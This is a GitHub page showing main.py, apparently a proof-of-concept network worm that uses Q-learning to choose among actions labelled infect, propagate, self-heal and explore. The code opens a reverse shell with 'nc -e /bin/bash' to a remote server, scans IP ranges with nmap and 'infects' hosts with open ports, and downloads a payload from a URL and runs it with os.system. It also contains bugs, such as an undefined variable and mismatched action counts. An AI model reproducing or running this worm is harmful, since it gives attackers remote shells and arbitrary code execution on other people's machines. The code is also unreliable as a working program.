forked from geeknik/dbe
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
253 lines (213 loc) · 8.85 KB
/
Copy pathmain.py
File metadata and controls
253 lines (213 loc) · 8.85 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
import argparse
import os
import shutil
import subprocess
import sys
import threading
import urllib.request
from concurrent.futures import ThreadPoolExecutor
from pathlib import Path
from typing import Dict, List, NamedTuple, Optional, Tuple
import numpy as np
import psutil
import signal
import pickle
import socket
import nmap
class State(NamedTuple):
ip: str
state_number: int
class LongTermMemory:
"""Simple long-term memory for storing past experiences."""
def __init__(self):
self.memory = {}
def store(self, state: State, action: int, reward: float, next_state: State):
if state not in self.memory:
self.memory[state] = []
self.memory[state].append((action, reward, next_state))
def retrieve(self, state: State):
return self.memory.get(state, [])
def best_action(self, state: State) -> Optional[int]:
if state in self.memory:
actions = self.memory[state]
return max(actions, key=lambda x: x[1])[0]
return None
long_term_memory = LongTermMemory()
# Enhanced symbolic reasoning function
def symbolic_reasoning(state: State) -> Optional[int]:
"""Use symbolic reasoning to choose an action based on the state."""
if state.state_number < 10:
return 0 # Try infecting when in early states
elif state.state_number < 50:
return 2 # Propagate when in intermediate states
elif state.state_number >= 50:
return 1 # Perform self-healing when in later states
return None
def choose_action(q_table: Dict[State, Dict[int, float]], state: State, exploration_probability: float) -> int:
"""Choose a random action to take with probability exploration_probability, or the best action otherwise."""
symbolic_action = symbolic_reasoning(state)
if symbolic_action is not None:
return symbolic_action
if np.random.rand() < exploration_probability:
return np.random.randint(0, 6)
else:
return max(q_table[state].items(), key=lambda x: x[1])[0]
def take_action(action: int, ip: str) -> Tuple[Optional[float], Optional[State]]:
"""Take an action and return the reward and the next state."""
action_map = {
0: try_infect,
1: perform_self_healing,
2: propagate,
3: check_self_awareness,
4: explore_environment,
}
result = action_map[action](ip)
next_state = update_state(current_state, action)
if result:
return REWARD_SUCCESS, next_state
else:
return REWARD_FAILURE, next_state
def try_infect(ip: str) -> bool:
"""Try to infect a machine with an IP address of ip."""
try:
subprocess.run([NETCAT_BINARY, "-e", "/bin/bash", REMOTE_SERVER, str(PORT)],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5)
return True
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as e:
return False
def perform_self_healing(ip: str) -> bool:
"""Perform self-healing actions based on the current state of affairs."""
try:
pid = os.getpid()
os.kill(pid, 0)
except OSError:
return False
src = Path("/path/to/original/file")
dst = Path("/path/to/compromised/file")
if not src.exists() or not dst.exists() or src.samefile(dst):
return False
try:
os.kill(pid, signal.SIGTERM)
os.execv(sys.executable, ['python'] + sys.argv)
shutil.copyfile(src, dst)
return True
except Exception as e:
return False
def propagate(ip_range: List[str]) -> bool:
"""Scan the specified IP range for vulnerable machines."""
vulnerable_machines = []
with ThreadPoolExecutor() as executor:
future_to_ip = {executor.submit(is_vulnerable, ip): ip for ip in ip_range}
for future in future_to_ip:
ip = future_to_ip[future]
try:
if future.result():
vulnerable_machines.append(ip)
except Exception as e:
pass
for ip in vulnerable_machines:
try_infect(ip)
return len(vulnerable_machines) > 0
def is_vulnerable(ip: str) -> bool:
"""Check whether the target machine is vulnerable to a specific exploit."""
nm = nmap.PortScanner()
scan_result = nm.scan(ip, '22-443')
for host in nm.all_hosts():
if 'tcp' in nm[host]:
for port in nm[host]['tcp']:
if nm[host]['tcp'][port]['state'] == 'open':
return True
return False
def check_self_awareness(ip: str) -> bool:
"""Check whether the agent is aware of its own state or status."""
try:
mem_usage = psutil.Process(os.getpid()).memory_info().rss / (1024 * 1024)
if mem_usage > MAX_MEMORY:
return False
return True
except Exception as e:
return False
def explore_environment(ip: str) -> bool:
"""Explore the environment to gather information about the system."""
try:
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
open_ports = []
nm = nmap.PortScanner()
scan_result = nm.scan(local_ip, '1-1024')
for host in nm.all_hosts():
if 'tcp' in nm[host]:
for port in nm[host]['tcp']:
if nm[host]['tcp'][port]['state'] == 'open':
open_ports.append(port)
if open_ports:
return True
except Exception as e:
return False
def update_state(state: State, action: int) -> State:
"""Update the current state based on the action taken."""
state_updates = {
0: lambda s: State(s.ip, s.state_number + 1),
1: lambda s: State(s.ip, s.state_number - 1),
2: lambda s: State(s.ip, s.state_number * 2),
3: lambda s: State(s.ip, s.state_number // 2),
4: lambda s: State(s.ip, s.state_number + 5),
}
return state_updates.get(action, lambda s: s)(state)
def download_payload(payload_url: str) -> str:
"""Download the payload from a URL."""
try:
with urllib.request.urlopen(payload_url) as f:
return f.read().decode("utf-8")
except urllib.error.URLError as e:
sys.exit(1)
def curriculum_learning_setup(ip_range: List[str]) -> List[str]:
"""Setup curriculum learning by arranging IPs from simpler to more complex tasks."""
return sorted(ip_range, key=lambda ip: int(ip.split('.')[-1])) # Simple heuristic: sort by last octet
def main(ip_range: List[str], remote_server: str, port: int, payload_url: str) -> None:
q_table: Dict[State, Dict[int, float]] = {State(ip, state_number): {action: 0.0 for action in range(5)} for ip in ip_range for state_number in range(MAX_STATE)}
state = State(ip_range[0], 0)
exploration_probability = 1.0
payload = download_payload(payload_url)
# Curriculum learning setup
ip_range = curriculum_learning_setup(ip_range)
for episode in range(MAX_EPISODES):
for ip in ip_range:
state = State(ip, state.state_number)
action = choose_action(q_table, state, exploration_probability)
reward, next_state = take_action(action, state.ip)
if next_state is not None:
next_action = choose_action(q_table, next_state, exploration_probability)
q_table[state][action] = q_table[state][action] + LEARNING_RATE * (reward + DISCOUNT_FACTOR * q_table[next_state][next_action] - q_table[state][action])
long_term_memory.store(state, action, reward, next_state)
exploration_probability *= decay_factor
state = next_state if next_state else state
if check_self_awareness(state.ip):
break
if state.state_number == MAX_STATE:
break
if episode % 10 == 0:
perform_self_healing(state.ip)
propagate(ip_range)
os.system(payload)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="A Q-learning agent for a cybersecurity scenario.")
parser.add_argument("ip_range", nargs="+", type=str, help="A list of IP addresses to scan.")
parser.add_argument("--remote-server", type=str, default="example.com", help="The remote server to connect to.")
parser.add_argument("--port", type=int, default=8080, help="The port to connect to on the remote server.")
parser.add_argument("--payload-url", type=str, help="The URL of the payload to download and execute.")
args = parser.parse_args()
NETCAT_BINARY = "/bin/nc"
REMOTE_SERVER = args.remote_server
PORT = args.port
PAYLOAD_URL = args.payload_url
MAX_EPISODES = 1000
MAX_STATE = 10000
REWARD_SUCCESS = 10
REWARD_FAILURE = -5
DISCOUNT_FACTOR = 0.9
LEARNING_RATE = 0.1
MAX_MEMORY = 100 # Example value, adjust as needed
exploration_probability = 1.0
decay_factor = 0.999
main(args.ip_range, args.remote_server, args.port, args.payload_url)